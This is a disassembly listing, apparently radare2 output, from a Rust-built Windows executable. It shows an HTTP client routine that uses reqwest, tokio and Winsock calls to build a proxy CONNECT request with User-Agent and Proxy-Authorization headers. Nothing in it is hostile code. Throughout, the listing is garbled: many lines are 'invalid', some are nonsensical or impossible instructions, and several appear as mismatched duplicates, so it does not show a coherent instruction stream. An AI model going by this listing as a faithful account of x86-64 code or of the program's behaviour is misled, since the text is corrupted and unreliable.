movaps xmmword [rbp + 0x2310], xmm0
mov rcx, qword [rbp + 0x16b8]
add byte [rax - 0x77], cl
invalid
shl byte [rax], 1
add byte [rax], al
movups xmm0, xmmword [rbp + 0x16a8]
adc byte [rbp + 0x16a8], al
invalid
adc byte [rbp + 0x16a8], al
movaps xmmword [rbp + 0x20c0], xmm0
movups xmm0, xmmword [rbp + 0x1698]
movaps xmmword [rbp + 0x20b0], xmm0
mov al, 0x20
add byte [rax], al
invalid
add byte [rcx - 0x3a], al
test byte [rax + rbx*8], ah
add al, byte [rax]
add byte [rax], al
mov byte [r12 + 0x2d8], 0
mov byte [r12 + 0x2d4], 1
add byte [rax], al
add dword [rdi], ecx
sub byte [rbp + 0x20b0], al
movaps xmm0, xmmword [rbp + 0x20b0]
movaps xmm1, xmmword [rbp + 0x20c0]
movups xmmword [r12 + 0x250], xmm0
movups xmmword [r12 + 0x260], xmm1
mov rcx, qword [rbp + 0x20d0]
mov qword [r12 + 0x270], rcx
add byte [rcx - 0x77], cl
test byte [rax + rdi*2], ah
add al, byte [rax]
add byte [rcx + 0xf], al
mov dh, 0x8c
and al, 0xa8
add dword [rax], eax
add byte [rax - 0x7b], cl
leave
and al, 0xa8
add dword [rax], eax
add byte [rax - 0x7b], cl
leave
je 0x14010ae2c
add byte [rbx + 0x577401f9], al
cmp ecx, 1
je 0x14010ada6
cmp ecx, 2
mov r12, qword [rbp + 0x2560]
je 0x14010ae2c
int 0
add byte [rax], al
invalid
add byte [rdi], cl
test ch, cl
int 0
invalid
add byte [rax - 0x73], cl
or eax, 0xb92ca
lea rcx, str.internal_error:_entered_unreachable_code_rustc_79e9716c980570bfd1f666e3b16ac583f0168962library_std_src_threadmod.rs
add byte [rbp + rcx*4 + 5], cl
invalid
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.11_srcuri_scheme.rs
add eax, 0x9ad63
mov edx, 0x28
call fcn.140186b70
jmp 0x14010c01d
invalid
mov rdx, qword [r12 + 0x630]
add byte [rax], al
jmp case.0x1400e7c73.123
mov rcx, qword [r12 + 0x2628]
mov rdx, qword [r12 + 0x2630]
mov rax, qword [r12 + 0x2638]
jmp 0x14010c055
mov r12, qword [rbp + 0x2560]
cmp byte [r12 + 0x1a9], 0
je 0x14010ae2c
mov rdx, qword [r12 + 0x1c8]
test rdx, rdx
je 0x14010b215
mov rcx, qword [r12 + 0x1c0]
call fcn.14003b430
mov r12, qword [rbp + 0x2560]
mov r8, qword [r12 + 0x1c8]
mov qword [r12 + 0x280], rax
mov qword [r12 + 0x288], rdx
test r8, r8
je 0x14010b221
add al, 0
invalid
mov rdx, qword [r12 + 0x1c0]
lea rcx, [rbp + 0x1640]
call fcn.14003ade0
mov rax, qword [rbp + 0x1640]
movzx ecx, word [rbp + 0x1650]
mov r12, qword [rbp + 0x2560]
jmp 0x14010b223
mov byte [r12 + 0x2d5], 0
movups xmm0, xmmword [rax + 0x70]
movaps xmmword [rbp + 0x16b0], xmm0
movups xmm0, xmmword [rax + 0x60]
movaps xmmword [rbp + 0x16a0], xmm0
movups xmm0, xmmword [rax + 0x50]
movaps xmmword [rbp + 0x1690], xmm0
invalid
add byte [rax], al
movups xmm0, xmmword [rax + 0x40]
movaps xmmword [rbp + 0x1680], xmm0
movups xmm0, xmmword [rax]
add byte [rdi], cl
adc byte [rax + 0x10], cl
invalid
add byte [rdi], cl
adc byte [rax + 0x10], cl
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movaps xmmword [rbp + 0x1670], xmm3
movaps xmmword [rbp + 0x1660], xmm2
movaps xmmword [rbp + 0x1650], xmm1
add byte [rax], al
add byte [rax], al
movaps xmmword [rbp + 0x1640], xmm0
mov byte [r12 + 0x2d9], 0
mov rax, qword [rbp + 0x2360]
mov qword [rbp + 0x1710], rax
movaps xmm0, xmmword [rbp + 0x2350]
movaps xmmword [rbp + 0x1700], xmm0
movaps xmm0, xmmword [rbp + 0x2310]
test dword [rax], edx
and eax, dword [rax]
add byte [rdi], cl
sub byte [rbp + 0x2320], cl
invalid
test dword [rax], edx
and eax, dword [rax]
add byte [rdi], cl
sub byte [rbp + 0x2320], cl
invalid
add byte [rdi], cl
sub byte [rbp + 0x2330], dl
and eax, dword [rax]
invalid
movaps xmm2, xmmword [rbp + 0x2330]
movaps xmm3, xmmword [rbp + 0x2340]
movaps xmmword [rbp + 0x16f0], xmm3
movaps xmmword [rbp + 0x16e0], xmm2
movaps xmmword [rbp + 0x16d0], xmm1
movaps xmmword [rbp + 0x16c0], xmm0
lea rsi, [rbp + 0x1c20]
lea rdx, [rbp + 0x1640]
mov r8d, 0x250
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [r12 + 0x2e0]
mov r8d, 0x250
invalid
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov word [r12 + 0x530], 1
lea rdx, [r12 + 0x2e0]
lea edx, [rsp + 0x2e0]
lea rcx, [rbp + 0x1640]
mov qword [rbp + 0x2550], rdx
xchg ebp, eax
push rax
and eax, 0x89490000
clc
xchg ebp, eax
push rax
and eax, 0x89490000
clc
call fcn.140111ea0
movzx r14d, byte [rbp + 0x1651]
cmp r14b, 3
jne 0x14010af64
mov rax, qword [rbp + 0x2510]
mov byte [rax + 0x11], 3
mov al, 6
jmp 0x14010d1ec
mov rbx, qword [rbp + 0x1640]
mov rsi, qword [rbp + 0x1648]
movzx edi, byte [rbp + 0x1650]
mov eax, dword [rbp + 0x1652]
mov dword [rbp + 0x2508], eax
movzx eax, word [rbp + 0x1656]
mov word [rbp + 0x250c], ax
mov rcx, qword [rbp + 0x2550]
call fcn.140109560
mov rax, qword [rbp + 0x2560]
cmp byte [rax + 0x270], 2
je 0x14010afd5
mov r8, qword [rbp + 0x2560]
mov rax, qword [r8 + 0x250]
mov rdx, qword [r8 + 0x258]
lea rcx, [r8 + 0x268]
mov r8, qword [r8 + 0x260]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rbp + 0x2560]
mov byte [rax + 0x2d4], 0
mov byte [rax + 0x2d8], 0
mov byte [rax + 0x2d9], 0
lea rcx, [rax + 0x1a8]
mov dword [rax + 0x2da], 0
call fcn.14006d7b0
jmp 0x14010bec7
mov r8, qword [rbp + 0x2540]
mov r8, qword [r8 - 8]
mov rcx, qword [0x14023c258]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r14b, 2
cmp r15d, 3
jne 0x14010b03b
mov rax, qword [rbp + 0x2560]
jmp 0x14010bf1a
lea rcx, [rbp + 0xe48]
lea rdx, [rbp + 0x648]
mov r8d, 0x110
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0xe30], r15
mov qword [rbp + 0xe38], rbx
mov qword [rbp + 0xe40], rsi
mov rsi, qword [rbp + 0x2560]
mov byte [rsi + 0x2d6], 0
add al, byte [rax]
add byte [rax], al
add al, byte [rax]
add byte [rax], al
lea rcx, [rbp + 0x1e70]
lea rdx, [rbp + 0xe30]
mov r8d, 0x128
call sub.VCRUNTIME140.dll_memcpy
mov r14, qword [rsi + 0x280]
test r14, r14
je 0x14010b121
mov rbx, qword [rsi + 0x288]
test rbx, rbx
je 0x14010b3be
js 0x14010bebd
movzx eax, byte [0x14023c308]
mov rcx, qword [0x14023c258]
test rcx, rcx
jne 0x14010b0de
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14010b0f5
mov rcx, rax
mov qword [0x14023c258], rax
adc dword [rbx], edx
invalid
adc dword [rbx], edx
add byte [rcx], dh
ror byte [rcx - 0x77], cl
fdivr st(7)
adc eax, 0x83f4f
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rsi, rax
test rax, rax
jne 0x14010b3c3
mov ecx, 1
mov rdx, rbx
call fcn.140186620
jmp 0x14010c01d
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov qword [rbp + 0x2550], rbx
mov qword [rbp + 0x2518], r13
mov r12, qword [rbp + 0x2560]
jmp 0x14010c831
movzx eax, byte [0x14023c308]
mov rcx, qword [0x14023c258]
test rcx, rcx
jne 0x14010b14d
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14010be95
mov rcx, rax
mov qword [0x14023c258], rax
mov r8d, recv
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14010be95
movabs rcx, 0x6c7275206e692074
mov qword [rax + 6], rcx
movabs rcx, 0x2074736f68206f6e
mov qword [rax], rcx
mov qword [rbp + 0x20e0], rax
mov qword [rbp + 0x20e8], recv
mov qword [rbp + 0x20f0], recv
movzx eax, byte [0x14023c308]
mov rcx, qword [0x14023c258]
test rcx, rcx
jne 0x14010b1c8
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14010bea9
mov rcx, rax
mov qword [0x14023c258], rax
mov r8d, 0x18
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14010bea9
mov rbx, rax
mov rax, qword [rbp + 0x20f0]
mov qword [rbx + 0x10], rax
movups xmm0, xmmword [rbp + 0x20e0]
movups xmmword [rbx], xmm0
cmp dword [rbp + 0x1e70], 2
jne 0x14010bcfa
lea rcx, [rbp + 0x1e78]
call fcn.140108d10
jmp 0x14010bd06
mov qword [r12 + 0x280], 0
xor eax, eax
test rax, rax
mov eax, 0x1bb
cmovne eax, ecx
mov word [r12 + 0x2d0], ax
mov rax, qword [r12 + 0x148]
lock inc qword [rax]
jle 0x14010dacf
mov rcx, qword [r12 + 0x150]
mov rdx, qword [r12 + 0x158]
lock inc qword [rcx]
jle 0x14010dacf
mov qword [rbp + 0x23c8], rax
mov qword [rbp + 0x23d0], rcx
mov qword [rbp + 0x23d8], rdx
mov byte [r12 + 0x2d7], 1
mov rsi, qword [r12 + 0x278]
cmp qword [rsi], 0
je 0x14010b2ae
mov rcx, qword [rsi + 8]
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov qword [rbp + 0x2540], rax
mov eax, 1
mov qword [rbp + 0x2550], rax
jmp 0x14010b2b7
xor eax, eax
mov qword [rbp + 0x2550], rax
mov rcx, qword [rsi + 0x10]
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
movzx edx, word [rsi + 0x1c]
mov r10, qword [rbp + 0x2560]
lea rcx, [r10 + 0x290]
mov r8d, dword [rsi + 0x18]
mov byte [r10 + 0x2d7], 0
movups xmm0, xmmword [rbp + 0x23c8]
movups xmmword [r10 + 0x2b0], xmm0
mov r9, qword [rbp + 0x23d8]
mov qword [r10 + 0x2c0], r9
mov r9, qword [rbp + 0x2550]
mov qword [r10 + 0x290], r9
mov r9, qword [rbp + 0x2540]
mov qword [r10 + 0x298], r9
mov qword [r10 + 0x2a0], rax
mov dword [r10 + 0x2a8], r8d
mov word [r10 + 0x2ac], dx
mov byte [r10 + 0x2c8], 0
mov byte [r10 + 0x2d9], 0
mov rax, qword [rbp + 0x2360]
mov qword [rbp + 0x1690], rax
movaps xmm0, xmmword [rbp + 0x2350]
movaps xmmword [rbp + 0x1680], xmm0
movaps xmm0, xmmword [rbp + 0x2310]
movaps xmm1, xmmword [rbp + 0x2320]
movaps xmm2, xmmword [rbp + 0x2330]
movaps xmm3, xmmword [rbp + 0x2340]
movaps xmmword [rbp + 0x1670], xmm3
movaps xmmword [rbp + 0x1660], xmm2
movaps xmmword [rbp + 0x1650], xmm1
movaps xmmword [rbp + 0x1640], xmm0
lea rdx, [rbp + 0x1640]
call fcn.140110290
mov r8, rax
mov rax, rdx
mov rcx, qword [rbp + 0x2560]
mov qword [rcx + 0x2e0], r8
mov qword [rcx + 0x2e8], rdx
jmp 0x14010aa9a
mov esi, 1
mov rcx, rsi
mov rdx, r14
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov qword [rbp + 0x13d0], rsi
mov qword [rbp + 0x13d8], rbx
mov qword [rbp + 0x13e0], rbx
mov r12, qword [rbp + 0x2560]
movzx r14d, word [r12 + 0x2d0]
mov r15b, 2
cmp byte [r12 + 0x190], 2
je 0x14010b452
mov rax, qword [r12 + 0x170]
mov r8, qword [r12 + 0x178]
lea rdx, [r12 + 0x188]
mov r9, qword [r12 + 0x180]
lea rcx, [rbp + 0x20e0]
call qword [rax]
movzx r15d, byte [r12 + 0x190]
movups xmm0, xmmword [rbp + 0x20e0]
movups xmm1, xmmword [rbp + 0x20f0]
movaps xmmword [rbp + 0x1090], xmm1
movaps xmmword [rbp + 0x1080], xmm0
lea r13, [r12 + 0x2e0]
mov byte [r12 + 0x2d4], 0
lea rsi, [rbp + 0x1640]
lea rdx, [rbp + 0x1e70]
mov r8d, 0x128
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
movups xmm0, xmmword [rbp + 0x13d0]
movaps xmmword [rbp + 0x1510], xmm0
mov rax, qword [rbp + 0x13e0]
mov qword [rbp + 0x1520], rax
movaps xmm0, xmmword [rbp + 0x1080]
movaps xmm1, xmmword [rbp + 0x1090]
movups xmmword [rbp + 0x1768], xmm0
movups xmmword [rbp + 0x1778], xmm1
lea rbx, [rbp + 0x1c20]
mov r8d, 0x148
mov rcx, rbx
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 0x148
mov rcx, r13
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov byte [r12 + 0x428], r15b
movups xmm0, xmmword [r12 + 0x250]
movups xmm1, xmmword [r12 + 0x260]
movups xmmword [r12 + 0x430], xmm0
movups xmmword [r12 + 0x440], xmm1
mov rax, qword [r12 + 0x270]
mov qword [r12 + 0x450], rax
movaps xmm0, xmmword [rbp + 0x1510]
movups xmmword [r12 + 0x458], xmm0
mov rax, qword [rbp + 0x1520]
mov qword [r12 + 0x468], rax
mov word [r12 + 0x618], r14w
lea rsi, [r12 + 0x61c]
mov byte [r12 + 0x61c], 0
mov byte [r12 + 0x61f], 1
lea rbx, [r12 + 0x470]
mov r8d, 0x128
mov rcx, rbx
mov rdx, r13
call sub.VCRUNTIME140.dll_memcpy
lea rax, [r12 + 0x598]
movups xmm0, xmmword [r12 + 0x458]
movups xmmword [r12 + 0x598], xmm0
mov rcx, qword [r12 + 0x468]
mov qword [r12 + 0x5a8], rcx
lea rcx, [r12 + 0x61a]
mov word [r12 + 0x61a], r14w
movups xmm0, xmmword [r12 + 0x408]
movups xmm1, xmmword [r12 + 0x418]
movups xmmword [r12 + 0x5b0], xmm0
movups xmmword [r12 + 0x5c0], xmm1
mov rdx, qword [r12 + 0x428]
mov qword [r12 + 0x5d0], rdx
mov word [r12 + 0x61d], 0x101
movups xmm0, xmmword [r12 + 0x430]
movups xmmword [r12 + 0x5d8], xmm0
movups xmm0, xmmword [r12 + 0x440]
movups xmmword [r12 + 0x5e8], xmm0
mov rdx, qword [r12 + 0x450]
mov qword [r12 + 0x5f8], rdx
add eax, 0x89480000
test eax, edx
adc eax, dword [rax]
add byte [rax - 0x73], cl
add eax, 0xfff6b41d
mov qword [rbp + 0x13d8], rax
mov qword [rbp + 0x13e0], rcx
lea rax, [0x1400167d0]
mov qword [rbp + 0x13e8], rax
mov qword [rbp + 0x20e0], 2
mov qword [rbp + 0x20f0], 2
mov qword [rbp + 0x2100], 0
mov qword [rbp + 0x2108], 0x20
mov byte [rbp + 0x2110], 3
mov qword [rbp + 0x2118], 2
add byte [rax], al
add al, byte [rax]
add byte [rax], al
mov qword [rbp + 0x2128], 2
mov qword [rbp + 0x2138], 1
mov qword [rbp + 0x2140], 0x20
add byte [rax], al
add dh, al
test dword [rax + 0x21], ecx
add byte [rax], al
add ecx, dword [rax - 0x39]
test dword [rax + 0x21], edx
add byte [rax], al
add al, byte [rax]
add byte [rax], al
mov qword [rbp + 0x2160], 2
mov qword [rbp + 0x2170], 0
mov qword [rbp + 0x2178], 0x20
mov byte [rbp + 0x2180], 3
and byte [rcx], 0
add byte [rbx], al
mov qword [rbp + 0x2188], 2
mov qword [rbp + 0x2198], 2
mov qword [rbp + 0x21a8], 1
mov qword [rbp + 0x21b0], 0x20
mov byte [rbp + 0x21b8], 3
add byte [rbx], al
lea rax, str.CONNECT__HTTP_1.1_r_nHost:
mov qword [rbp + 0x1080], rax
mov qword [rbp + 0x1088], 5
lea rax, [rbp + 0x20e0]
mov qword [rbp + 0x10a0], rax
mov qword [rbp + 0x10a8], 4
add byte [rax], al
lea rax, [rbp + 0x13d0]
mov qword [rbp + 0x1090], rax
mov qword [rbp + 0x1098], 2
adc byte [rax], al
add byte [rdx], al
add byte [rax], al
invalid
mov qword [rbp + 0x2400], r13
lea rcx, [rbp + 0x12a0]
lea esp, [rax + 0x48000012]
lea edx, [rbp + 0x1080]
call fcn.140010ef0
movups xmm0, xmmword [rbp + 0x12a0]
movaps xmmword [rbp + 0x20e0], xmm0
mov rax, qword [rbp + 0x12b0]
mov al, send
add byte [rax], al
mov qword [rbp + 0x20f0], rax
mov rdx, qword [rbp + 0x2560]
lea r14, [rdx + 0x600]
invalid
add byte [rax], al
mov qword [rdx + 0x610], rax
movups xmmword [rdx + 0x600], xmm0
invalid
add byte [rsi], al
add byte [rax], al
cmp byte [rdx + 0x5d0], 2
mov qword [rbp + 0x2550], r13
mov qword [rbp + 0x2540], rbx
je 0x14010b965
add dword [rax], eax
invalid
lea rax, [rdx + 0x5b0]
mov byte [rdx + 0x61e], 0
add byte [rax - 0x75], cl
and byte [rax - 0x77], cl
lea eax, [rax]
and dword [rax], eax
add byte [rdi], cl
adc byte [rax], al
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0x20f0], xmm1
movaps xmmword [rbp + 0x20e0], xmm0
mov rax, qword [rdx + 0x608]
mov r15, qword [rdx + 0x610]
sub rax, r15
cmp rax, 0xb
ja 0x14010b839
mov r8d, recv
mov rcx, r14
mov rdx, r15
call fcn.14018d7c0
mov rdx, qword [rbp + 0x2560]
mov r15, qword [rdx + 0x610]
jmp 0x14010b840
mov rdx, qword [rbp + 0x2560]
mov rax, qword [rdx + 0x600]
movabs rcx, 0x6567412d72657355
mov ecx, 0x72657355
sub eax, 0x4a656741
mov dword [rax + rdi], ecx
mov dword [rax + r15 + 8], 0x203a746e
add r15, 0xc
mov qword [rdx + 0x610], r15
mov r13, qword [rbp + 0x20e8]
mov r12, qword [rbp + 0x20f0]
mov rax, qword [rdx + 0x608]
sub rax, r15
cmp rax, r12
jae 0x14010b8a7
mov rcx, r14
mov rdx, r15
mov r8, r12
call fcn.14018d7c0
mov rbx, rsi
mov rsi, qword [rbp + 0x2560]
mov r15, qword [rsi + 0x610]
jmp 0x14010b8b1
mov rbx, rsi
mov rsi, qword [rbp + 0x2560]
mov rcx, qword [rsi + 0x600]
add rcx, r15
mov rdx, r13
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
add r15, r12
mov qword [rsi + 0x610], r15
mov rax, qword [rsi + 0x608]
sub rax, r15
cmp rax, 1
ja 0x14010b904
mov r8d, 2
mov rcx, r14
mov rdx, r15
call fcn.14018d7c0
mov rsi, rbx
mov rcx, qword [rbp + 0x2560]
lea esp, [rax + 0x25]
add byte [rax], al
mov r15, qword [rcx + 0x610]
jmp 0x14010b90e
mov rcx, qword [rbp + 0x2560]
mov rsi, rbx
mov rax, qword [rcx + 0x600]
mov word [rax + r15], 0xa0d
add r15, 2
mov qword [rcx + 0x610], r15
mov dword [rcx + 0x610], edi
mov rax, qword [rbp + 0x20e0]
mov rdx, qword [rbp + 0x20e8]
mov rax, qword [rax + 0x10]
mov eax, dword [rax + 0x10]
lea rcx, [rbp + 0x20f8]
mov r8, qword [rbp + 0x20f0]
mov r13, qword [rbp + 0x2550]
mov qword [rbp + 0x2538], r13
call rax
invalid
mov rbx, qword [rbp + 0x2540]
mov rdx, qword [rbp + 0x2560]
cmp byte [rdx + 0x5f8], 2
je 0x14010bb08
xchg esi, eax
add dword [rax], eax
add byte [rax], al
lea rax, [rdx + 0x5d8]
mov byte [rdx + 0x61d], 0
mov rcx, qword [rax + 0x20]
mov qword [rbp + 0x2100], rcx
add byte [rax], al
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movaps xmmword [rbp + 0x20f0], xmm1
movaps xmmword [rbp + 0x20e0], xmm0
mov rax, qword [rdx + 0x608]
invalid
or byte [rsi], al
invalid
add byte [rax], al
add byte [rbx + rcx*4 - 0x46], cl
adc byte [rsi], al
invalid
add byte [rax], al
sub rax, r15
cmp rax, 0x14
ja case.0x140110b91.291
invalid
mov r8d, reloc.WS2_32.dll_setsockopt
mov rcx, r14
mov rdx, r15
call fcn.14018d7c0
mov rdx, qword [rbp + 0x2560]
add byte [rax], al
mov r15, qword [rdx + 0x610]
jmp case.0x1400b130f.265
mov rdx, qword [rbp + 0x2560]
mov rax, qword [rdx + 0x600]
movups xmm0, xmmword [str.Proxy_Authorization:]
movups xmmword [rax + r15], xmm0
movabs rcx, 0x203a6e6f6974617a
mov qword [rax + r15 + 0xd], rcx
add r15, 0x15
mov qword [rdx + 0x610], r15
mov r13, qword [rbp + 0x20e8]
mov r12, qword [rbp + 0x20f0]
mov rax, qword [rdx + 0x608]
sub rax, r15
cmp rax, r12
jae 0x14010ba4a
mov rcx, r14
mov rdx, r15
mov r8, r12
call fcn.14018d7c0
mov rbx, rsi
mov rsi, qword [rbp + 0x2560]
add byte [rax], al
mov r15, qword [rsi + 0x610]
jmp 0x14010ba54
mov rbx, rsi
mov rsi, qword [rbp + 0x2560]
mov rcx, qword [rsi + 0x600]
add rcx, r15
mov rdx, r13
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
invalid
add byte [rbp + 1], cl
out 0x4c, eax
mov dword [rsi + 0x610], edi
mov esi, 0x610
mov rax, qword [rsi + 0x608]
sub rax, r15
cmp rax, 1
ja 0x14010baa7
invalid
mov r8d, 2
mov rcx, r14
mov rdx, r15
call fcn.14018d7c0
mov rsi, rbx
mov rcx, qword [rbp + 0x2560]
lea esp, [rax + 0x25]
add byte [rax], al
mov r15, qword [rcx + 0x610]
jmp 0x14010bab1
mov rcx, qword [rbp + 0x2560]
mov rsi, rbx
mov rax, qword [rcx + 0x600]
mov word [rax + r15], 0xa0d
add al, 0x38
or eax, 0xc783490a
or cl, byte [rcx - 0x7d]
mov dword [rdx], 0x10b9894c
invalid
add byte [rax], al
or cl, byte [rcx - 0x7d]
mov dword [rdx], 0x10b9894c
invalid
adc byte [rsi], al
add byte [rax], al
mov rax, qword [rbp + 0x20e0]
mov rdx, qword [rbp + 0x20e8]
add byte [rax], al
add byte [rax], al
mov rax, qword [rax + 0x10]
lea rcx, [rbp + 0x20f8]
invalid
clc
and byte [rax], al
add byte [rbx + rcx*4 - 0x7b], cl
lock and byte [rax], al
and byte [rax], al
invalid
invalid
mov r13, qword [rbp + 0x2550]
mov qword [rbp + 0x2538], r13
add byte [rax], al
call rax
mov rbx, qword [rbp + 0x2540]
and eax, 0x8b480000
xchg ebp, eax
invalid
mov rdx, qword [rbp + 0x2560]
mov rax, qword [rdx + 0x608]
add byte [rax - 0x75], cl
xchg edx, eax
adc byte [rsi], al
invalid
add byte [rax], al
mov rdx, qword [rdx + 0x610]
invalid
sub rax, rdx
ror byte [rax - 0x7d], 1
clc
add dword [rdi + 0x26], esi
invalid
cmp rax, 1
ja 0x14010bb45
invalid
mov qword [rbp + 0x2538], r13
lodsd eax, dword [rsi]
cmp byte [0xf851bb28], ah
and eax, 0xb8410000
and eax, 0xb8410000
mov r8d, 2
add al, byte [rax]
add byte [rax], al
mov rcx, r14
call fcn.14018d7c0
mov r12, qword [rbp + 0x2560]
movsd dword [rdi], dword [rsi]
invalid
and eax, 0x8b490000
xchg esp, eax
and al, 0x10
invalid
add byte [rax], al
invalid
add byte [rax], al
jmp 0x14010bb4c
mov r12, qword [rbp + 0x2560]
movsd dword [rdi], dword [rsi]
invalid
mov rax, qword [r12 + 0x600]
test byte [rax + rax], ah
invalid
mov word [rax + rdx], 0xa0d
add rdx, 2
mov qword [r12 + 0x610], rdx
and al, 0x10
invalid
add byte [rax], al
invalid
mov rax, qword [r12 + 0x600]
mov eax, dword [rsp + 0x600]
test byte [rax + rax], ah
invalid
mov qword [r12 + 0x620], rbx
mov dword [rsp + 0x620], ebx
invalid
mov qword [r12 + 0x628], rax
mov qword [r12 + 0x630], rdx
mov dword [rsp + 0x630], edx
xchg esp, eax
and al, 0x30
invalid
xor byte [rsi], al
add byte [rax], al
invalid
lea r14, [r12 + 0x620]
lea esi, [rsp + 0x620]
mov ah, 0x24
and byte [rsi], al
add byte [rax], al
lea rbx, [rbp + 0x20e0]
loopne 0x14010bbb3
and byte [rax], al
add byte [rbp + rcx*4 + 0x25], cl
invalid
jl 0x14010bb80
add byte [rax], al
lea r12, [0x1401ea218]
and eax, 0xde67c
or eax, 0x3bf4900
movabs r15, 0x1700000003
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
add byte [rax], al
add byte [rdi], dl
add byte [rax], al
add byte [rsi + 0x2e], ah
invalid
nop dword [rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
test rdx, rdx
test edx, edx
je 0x14010bce3
add byte [rax - 0x75], cl
lea esp, [rax + 0x25]
add byte [rax], al
invalid
mov rcx, qword [rbp + 0x2560]
add byte [rax - 0x75], cl
and dword [rax], 0x4c000006
add byte [rax], al
mov r9, qword [rcx + 0x628]
mov rax, qword [rcx + 0x620]
add byte [rax], al
mov r9, qword [rcx + 0x628]
cmp dword [rax], 2
cmp byte [rdx], al
jne 0x14010bc00
add rax, 8
ror byte [rax], 0x4c
mov qword [rbp + 0x2538], r13
mov dword [rbp + 0x2538], ebp
mov qword [rsp + 0x20], rdx
mov rcx, rbx
mov rdx, rax
mov edx, eax
mov edx, eax
mov r8, rdi
call case.0x140153662.235
jmp 0x14010bc1a
nop dword cs:[rax + rax]
nop dword [rax + rax]
mov qword [rbp + 0x2538], r13
mov qword [rsp + 0x20], rdx
mov dword [rsp + 0x20], edx
mov dword [rsp + 0x20], edx
and byte [rax - 0x77], cl
invalid
mov rcx, rbx
mov rdx, rax
mov r8, rdi
call fcn.140110b30
add byte [rax], al
mov rcx, qword [rbp + 0x20e0]
mov ecx, dword [rbp + 0x20e0]
cmp rcx, 2
je 0x14010bc7f
mov rax, qword [rbp + 0x20e8]
test rcx, rcx
test ecx, ecx
test ecx, ecx
jne 0x14010bc86
mov r8, qword [rbp + 0x2560]
mov rcx, qword [r8 + 0x628]
mov rdx, qword [r8 + 0x630]
nop
xor byte [rsi], al
add byte [rax], al
nop
xor byte [rsi], al
add byte [rax], al
mov qword [r8 + 0x628], r12
mov qword [r8 + 0x630], 0
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
sub rdx, rax
jb 0x14010bd12
invalid
add rcx, rax
mov qword [r8 + 0x628], rcx
mov byte [rax], ch
invalid
add byte [rax], al
mov qword [r8 + 0x630], rdx
test rax, rax
jne 0x14010bbb0
invalid
mov byte [rax], ch
invalid
invalid
jmp 0x14010bc8e
mov al, 3
jmp 0x14010c216
mov r15, rax
test rax, rax
je 0x14010bce3
mov qword [rbp + 0x20e0], r15
movzx eax, byte [0x14023c308]
mov rcx, qword [0x14023c258]
test rcx, rcx
jne 0x14010bcc1
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x14010bdc0
mov rcx, rax
mov qword [0x14023c258], rax
mov r8d, 8
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
invalid
add byte [rax], al
invalid
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
call 0x18810bcd9
mov ebx, eax
mov rbx, rax
mov qword [rax], r15
jmp 0x14010c26d
xor ebx, ebx
mov r8d, 0x2008
mov eax, 0x2008
mov eax, 0x2008
and byte [rax], al
add byte [rcx + rcx*4 - 0xf], cl
mov rcx, r14
xor edx, edx
call sub.VCRUNTIME140.dll_memset
jmp 0x14010c01f
lea rcx, [rbp + 0x1e70]
call fcn.140109150
lea rsi, fcn.140019ef0
jmp 0x14010bf09
invalid
add byte [rcx + rcx*4 - 0x53], cl
cmp byte [0xcd58bd1b], ah
or eax, 0xb4b18
mov qword [rbp + 0x2538], r13
lea rcx, str.assertion_failed:_mid___self.len___rustc_79e9716c980570bfd1f666e3b16ac583f0168962librarycore_srcescape.rs
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.34.0_srcioutilwrite_all.rs
mov edx, 0x23
call fcn.140186b70
jmp 0x14010c01d
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rax - 0x73], cl
lea rcx, str._async_fn__resumed_after_panickingunable_to_find_any_user_specified_roots_in_the_final_cert_chain
lea rcx, str._async_fn__resumed_after_panickingunable_to_find_any_user_specified_roots_in_the_final_cert_chain
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.22_srcconnect.rs
mov edx, 0x22
call fcn.140186b70
ud2
lea rcx, str._async_fn__resumed_after_completion
lea r8, str.C:UsersFokus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.22_srcconnect.rs
mov edx, 0x23
call fcn.140186b70
ud2
mov rax, qword [rbp + 0x2540]
mov qword [rbp + 0x2490], rax
lea rcx, str._async_fn__resumed_after_panickingunable_to_find_any_user_specified_roots_in_the_final_cert_chain
lea ecx, str._async_fn__resumed_after_panickingunable_to_find_any_user_specified_roots_in_the_final_cert_chain
lea ecx, str._async_fn__resumed_after_panickingunable_to_find_any_user_specified_roots_in_the_final_cert_chain
lea r8, [0x1401b9960]
mov edx, 0x22
